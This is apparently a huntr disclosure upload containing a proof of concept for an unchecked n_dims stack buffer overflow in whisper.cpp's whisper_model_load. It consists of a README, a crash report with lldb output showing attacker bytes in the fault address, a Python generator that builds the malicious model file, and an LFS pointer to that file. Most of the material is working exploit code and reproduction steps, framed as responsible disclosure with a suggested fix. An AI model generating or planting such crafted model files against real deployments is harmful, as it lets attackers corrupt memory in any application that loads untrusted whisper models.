Upload 4 files

CRASH_PROVEN.md

@@ -0,0 +1,50 @@
+# Dynamic crash proof — whisper.cpp unchecked `n_dims` stack buffer overflow
+
+Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64).
+
+## Target
+- repo: `ggml-org/whisper.cpp` @ `6fc7c33`
+- Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop — `int32_t ne[4]` written with an
+  unbounded, attacker-controlled `n_dims` count.
+
+## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer)
+```
+cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
+      -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
+      -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
+cmake --build build-rel --target whisper-cli
+```
+
+## Malicious input — `poc_whisper_ndims.bin` (80 KB)
+Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop),
+then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA").
+
+## Run + crash
+```
+whisper_model_load: type          = 1 (tiny)
+whisper_model_load: adding 51865 extra tokens
+whisper_model_load:          CPU total size =    77.11 MB      <- model fully built; entering tensor-read loop
+<SIGSEGV>
+exit=139   (128 + SIGSEGV(11))
+```
+
+## lldb stop frame — attacker bytes in the fault address
+```
+* thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)
+    frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36
+->  str xzr, [x0, #0x8]        ; x0 = 0x141414149
+```
+The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded
+`for (i=0;i<n_dims;++i) read_safe(loader, ne[i])` loop wrote our chosen 4-byte words far past the
+4-element stack array `ne[4]`, overwriting adjacent stack state (including the `std::istream` object
+pointer used by the very next `read_safe`), which is then dereferenced → crash. This demonstrates
+**attacker-controlled stack memory corruption** (CWE-787), not a benign parser error.
+
+## What this proves
+1. `n_dims` from the model file is used as an unchecked loop bound over a fixed `int32_t ne[4]`.
+2. The loop writes attacker-chosen 4-byte values sequentially past the array — the classic
+   controlled-length/controlled-content stack smash.
+3. Reached via the standard `whisper_init_from_file` → `whisper_model_load` path that EVERY
+   whisper.cpp application uses to load a model. (The sibling site `whisper_vad_init_with_params`
+   has the identical bug on the VAD-model path.)
+```

README.md

@@ -0,0 +1,68 @@
+---
+license: mit
+tags:
+- security
+- poc
+- huntr
+- model-file-vulnerability
+---
+
+# PoC — whisper.cpp unchecked `n_dims` stack buffer overflow
+
+Proof-of-concept model file for a **huntr Model File Vulnerabilities** report against
+[`ggml-org/whisper.cpp`](https://github.com/ggml-org/whisper.cpp) @ `6fc7c33`.
+
+**This repository contains a deliberately malformed GGML model file for authorized security research
+(responsible disclosure via huntr). It is not a usable model.**
+
+## The bug (summary)
+
+`whisper_model_load()` (and the sibling `whisper_vad_init_with_params()`) read a per-tensor
+`int32_t n_dims` from the model file and use it, **unchecked**, as the bound of a loop that writes into
+a fixed 4-element stack array `int32_t ne[4]`:
+
+```cpp
+// src/whisper.cpp  (whisper_model_load)
+:1874  read_safe(loader, n_dims);          // attacker-controlled
+:1883  int32_t ne[4] = { 1, 1, 1, 1 };     // fixed 4-element STACK array
+:1884  for (int i = 0; i < n_dims; ++i) {
+:1885      read_safe(loader, ne[i]);       // OOB stack write for n_dims > 4
+:1886      nelements *= ne[i];
+:1887  }
+```
+
+There is no `n_dims <= GGML_MAX_DIMS` check before the loop. All shape/size validation runs *after* it.
+A crafted model file with a large `n_dims` writes an attacker-controlled sequence of 4-byte words far
+past `ne[4]`, smashing the stack (CWE-787). The identical pattern exists at the VAD loader
+(`whisper_vad_init_with_params`, `src/whisper.cpp:5016/5025/5026`).
+
+## Files
+
+| file | description |
+|---|---|
+| `poc_whisper_ndims.bin` | valid whisper "tiny" header + one tensor record with `n_dims=20000` and a run of `0x41414141` words. **Crashes `whisper-cli` with SIGSEGV.** |
+| `gen_whisper_ndims_poc.py` | pure-python generator (documents the exact header layout). |
+| `CRASH_PROVEN.md` | build commands + reproduced crash (attacker sentinel bytes in the fault address). |
+
+## Reproduce
+
+```
+cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
+      -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
+      -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
+cmake --build build-rel --target whisper-cli
+./build-rel/bin/whisper-cli -m poc_whisper_ndims.bin -f /dev/null
+```
+
+Observed (default Release, no sanitizer):
+```
+whisper_model_load:  CPU total size = 77.11 MB      <- model built; enters the tensor-read loop
+stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)   <- attacker's 0x41414141 bytes in the fault address
+exit=139 (SIGSEGV)
+```
+See `CRASH_PROVEN.md`.
+
+## Disclosure
+
+Reported privately via huntr. Suggested fix: `if (n_dims < 0 || n_dims > GGML_MAX_DIMS) return false;`
+before the fill loop, at both call sites.

gen_whisper_ndims_poc.py

@@ -0,0 +1,80 @@
+#!/usr/bin/env python3
+"""
+PoC generator — whisper.cpp unchecked `n_dims` stack buffer overflow.
+
+whisper_model_load() (src/whisper.cpp) reads a per-tensor `int32_t n_dims` and then loops
+`for (i=0; i<n_dims; ++i) read_safe(loader, ne[i]);` writing into a fixed stack array
+`int32_t ne[4]` — with NO check that n_dims <= 4 (GGML_MAX_DIMS). A crafted model file with a
+large n_dims writes an attacker-controlled sequence far past ne[4], smashing the stack
+(CWE-787). All shape/size validation runs only AFTER this loop.
+
+This builds a minimal-but-valid whisper GGML model (tiny topology, so the tensor map builds and
+execution reaches the tensor-read loop), then appends ONE malicious tensor record whose n_dims is
+huge, followed by a long run of sentinel words to overflow the stack.
+
+Header layout (read order in whisper_model_load):
+  magic:  uint32 GGML_FILE_MAGIC (0x67676d6c)
+  hparams: 11 x int32  (n_vocab, n_audio_ctx, n_audio_state, n_audio_head, n_audio_layer,
+                        n_text_ctx, n_text_state, n_text_head, n_text_layer, n_mels, ftype)
+  mel:    int32 n_mel, int32 n_fft, then n_mel*n_fft float32
+  vocab:  int32 n_vocab_section, then that many (uint32 len, len bytes) tokens
+  tensors (loop): int32 n_dims, int32 name_len, int32 ttype, then n_dims x int32 ne[i], ...
+
+Usage: python3 gen_whisper_ndims_poc.py [out.bin] [n_dims]
+"""
+import struct, sys
+
+GGML_FILE_MAGIC = 0x67676d6c
+
+def i32(x): return struct.pack("<i", x)
+def u32(x): return struct.pack("<I", x)
+def f32(x): return struct.pack("<f", x)
+
+def build(n_dims_evil=20000):
+    b = bytearray()
+    b += u32(GGML_FILE_MAGIC)
+
+    # --- hparams: whisper "tiny" topology (n_audio_layer==4 -> MODEL_TINY) ---
+    # assert requires n_text_state == n_audio_state
+    hparams = [
+        51865,  # n_vocab      (>=51865 -> multilingual; used only for tensor sizes here)
+        1500,   # n_audio_ctx
+        384,    # n_audio_state
+        6,      # n_audio_head
+        4,      # n_audio_layer  -> MODEL_TINY
+        448,    # n_text_ctx
+        384,    # n_text_state  (== n_audio_state)
+        6,      # n_text_head
+        4,      # n_text_layer
+        80,     # n_mels
+        1,      # ftype = MOSTLY_F16
+    ]
+    for h in hparams:
+        b += i32(h)
+
+    # --- mel filters: minimal (1x1) ---
+    b += i32(1)         # n_mel
+    b += i32(1)         # n_fft
+    b += f32(0.0)       # one filter float
+
+    # --- vocab: 0 file tokens; loader auto-generates the rest (no file reads) ---
+    b += i32(0)         # n_vocab_section = 0
+
+    # --- malicious tensor record ---
+    # whisper_model_load reads: n_dims, length(name), ttype, then n_dims x int32 ne[]
+    b += i32(n_dims_evil)   # n_dims  >> 4  -> overflow ne[4]
+    b += i32(8)             # name length (irrelevant: crash happens in the ne[] loop, before name use)
+    b += i32(0)             # ttype
+    # provide n_dims sentinel words so every loop iteration performs a write
+    for k in range(n_dims_evil):
+        b += i32(0x41414141)   # 'AAAA' — recognizable stack-smash filler
+    return bytes(b)
+
+if __name__ == "__main__":
+    out = sys.argv[1] if len(sys.argv) > 1 else "poc_whisper_ndims.bin"
+    nd  = int(sys.argv[2], 0) if len(sys.argv) > 2 else 20000
+    data = build(nd)
+    with open(out, "wb") as f:
+        f.write(data)
+    print(f"wrote {out} ({len(data)} bytes), evil n_dims={nd} -> writes {nd} int32 past stack ne[4]")
+    print(f"trigger: whisper-cli -m {out} <any.wav>   (or any app calling whisper_init_from_file)")

poc_whisper_ndims.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:178b1f6e781d0d0a0eec1877e08f8ccda4ae66cd586ef108d0a4c891cb1d8e43
+size 80076